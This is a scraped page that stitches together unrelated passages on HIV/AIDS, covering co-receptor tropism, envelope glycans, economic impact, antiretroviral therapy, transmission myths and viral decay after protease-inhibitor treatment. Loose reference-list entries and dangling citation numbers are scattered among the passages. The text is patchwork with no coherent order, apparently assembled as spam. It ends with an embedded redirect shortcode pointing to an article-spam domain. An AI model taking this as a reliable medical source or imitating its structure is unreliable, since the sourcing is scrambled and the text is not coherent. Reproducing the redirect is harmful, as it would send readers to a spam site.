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The α-chemokine SDF-1, a ligand for CXCR4, suppresses replication of T-tropic HIV-1 isolates. It does this by down-regulating the expression of CXCR4 on the surface of HIV target cells. M-tropic HIV-1 isolates that use only the CCR5 receptor are termed R5; those that use only CXCR4 are termed X4, and those that use both, X4R5. However, the use of co-receptor alone does not explain viral tropism, as not all R5 viruses are able to use CCR5 on macrophages for a productive infection[42] and HIV can also infect a subtype of myeloid dendritic cells,[45] which probably constitute a reservoir that maintains infection when CD4+ T cell numbers have declined to extremely low levels.

Hulskotte EG, Feng HP, Xuan F, van Zutven MG, Treitel MA, Hughes EA, et al. Pharmacokinetic Interactions Between the Hepatitis C Virus Protease Inhibitor Boceprevir and Ritonavir-Boosted HIV-1 Protease Inhibitors Atazanavir, Darunavir, and Lopinavir. Clin Infect Dis. 2013 Mar. 56(5):718-26. [Medline].

^ Jump up to: a b Marrazzo, JM; del Rio, C; Holtgrave, DR; Cohen, MS; Kalichman, SC; Mayer, KH; Montaner, JS; Wheeler, DP; Grant, RM; Grinsztejn, B; Kumarasamy, N; Shoptaw, S; Walensky, RP; Dabis, F; Sugarman, J; Benson, CA; International Antiviral Society-USA, Panel (Jul 23–30, 2014). “HIV prevention in clinical care settings: 2014 recommendations of the International Antiviral Society-USA Panel”. JAMA: The Journal of the American Medical Association. 312 (4): 390–409. doi:10.1001/jama.2014.7999. PMID 25038358.

HIV/AIDS affects the economics of both individuals and countries.[211] The gross domestic product of the most affected countries has decreased due to the lack of human capital.[211][257] Without proper nutrition, health care and medicine, large numbers of people die from AIDS-related complications. They will not only be unable to work, but will also require significant medical care. It is estimated that as of 2007 there were 12 million AIDS orphans.[211] Many are cared for by elderly grandparents.[258]

As the sole viral protein on the surface of the virus, the Envelope protein is a major target for HIV vaccine efforts.[24] Over half of the mass of the trimeric envelope spike is N-linked glycans. The density is high as the glycans shield the underlying viral protein from neutralisation by antibodies. This is one of the most densely glycosylated molecules known and the density is sufficiently high to prevent the normal maturation process of glycans during biogenesis in the endoplasmic and Golgi apparatus.[25][26] The majority of the glycans are therefore stalled as immature ‘high-mannose’ glycans not normally present on human glycoproteins that are secreted or present on a cell surface.[27] The unusual processing and high density means that almost all broadly neutralising antibodies that have so far been identified (from a subset of patients that have been infected for many months to years) bind to or, are adapted to cope with, these envelope glycans.[28]

Although one goal of antiviral therapy is to prevent the development of immune suppression, some individuals are already immunosuppressed when they first seek medical care. In addition, others may progress to that stage as a result of resistance to antiviral drugs. Nevertheless, every effort must be made to optimize antiviral therapy in these patients. In addition, certain specific antibiotics should be initiated, depending on the number of CD4 cells, to prevent the complications (that is, the opportunistic infections) that are associated with HIV immunosuppression. Guidelines for the prevention of opportunistic infections can be found at https://aidsinfo.nih.gov/.

You can’t get HIV by shaking hands or hugging a person who has HIV. You also can’t get HIV from contact with objects such as dishes, toilet seats, or doorknobs used by a person with HIV. HIV does not spread through the air or through mosquito, tick, or other insect bites.

Definition (NCI_NCI-GLOSS) A disease caused by human immunodeficiency virus (HIV). People with acquired immunodeficiency syndrome are at an increased risk for developing certain cancers and for infections that usually occur only in individuals with a weak immune system.

Pringle K, Merchant RC, Clark MA. Is self-perceived HIV risk congruent with reported HIV risk among traditionally lower HIV risk and prevalence adult emergency department patients? Implications for HIV testing. AIDS Patient Care STDS 2013;27:573–84. CrossRef PubMed

Medications that fight HIV are called antiretroviral medications. Different antiretroviral medications target the virus in different ways. When used in combination with each other, they are very effective at suppressing the virus. It is important to note that there is no cure for HIV. ART only suppresses reproduction of the virus and stops or delays the disease from progressing to AIDS. Most guidelines currently recommend that all HIV-infected people who are willing to take medications should have them initiated shortly after being diagnosed with the infection. This delays or prevents disease progression, improves overall health of an infected person, and makes it less likely that they will transmit the virus to their partners.

HIV is not spread to a person who donates blood or organs. People who donate organs are never in direct contact with the people who receive them. Likewise, a person who donates blood is never in contact with the person receiving it. In all of these procedures, sterile needles and instruments are used.

There are three dominant mechanisms for the loss of CD4 T cells in HIV infection. First, there is evidence for direct viral killing of infected cells; second, there is increased susceptibility to the induction of apoptosis in infected cells; and third, there is killing of infected CD4 T cells by CD8 cytotoxic lymphocytes that recognize viral peptides.

Because of the great efficacy of the protease inhibitors, it is possible to learn much about the kinetics of HIV replication in vivo by measuring the decline in viremia after the initiation of protease inhibitor therapy. For the first 2 weeks after starting treatment there is an exponential fall in plasma virus levels with a half-life of viral decay of about 2 days (Fig. 11.26). This phase reflects the decay in virus production from cells that were actively infected at the start of drug treatment, and indicates that the half-life of productively infected cells is similarly about 2 days. The results also show that free virus is cleared from the circulation very rapidly, with a half-life of about 6 hours. After 2 weeks, levels of virus in plasma have dropped by more than 95%, representing an almost total loss of productively infected CD4 lymphocytes. After this time, the rate of decline of plasma virus levels is much slower, reflecting the very slow decay of virus production from cells that provide a longer-lived reservoir of infection, such as dendritic cells tissue macrophages, and from latently infected memory CD4 T cells that have been activated. Very long-term sources of infection might be CD4 memory T cells that continue to carry integrated provirus, and virus stored as immune complexes on follicular dendritic cells. These very long-lasting reservoirs of infection might prove to be resistant to drug therapy for HIV. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]

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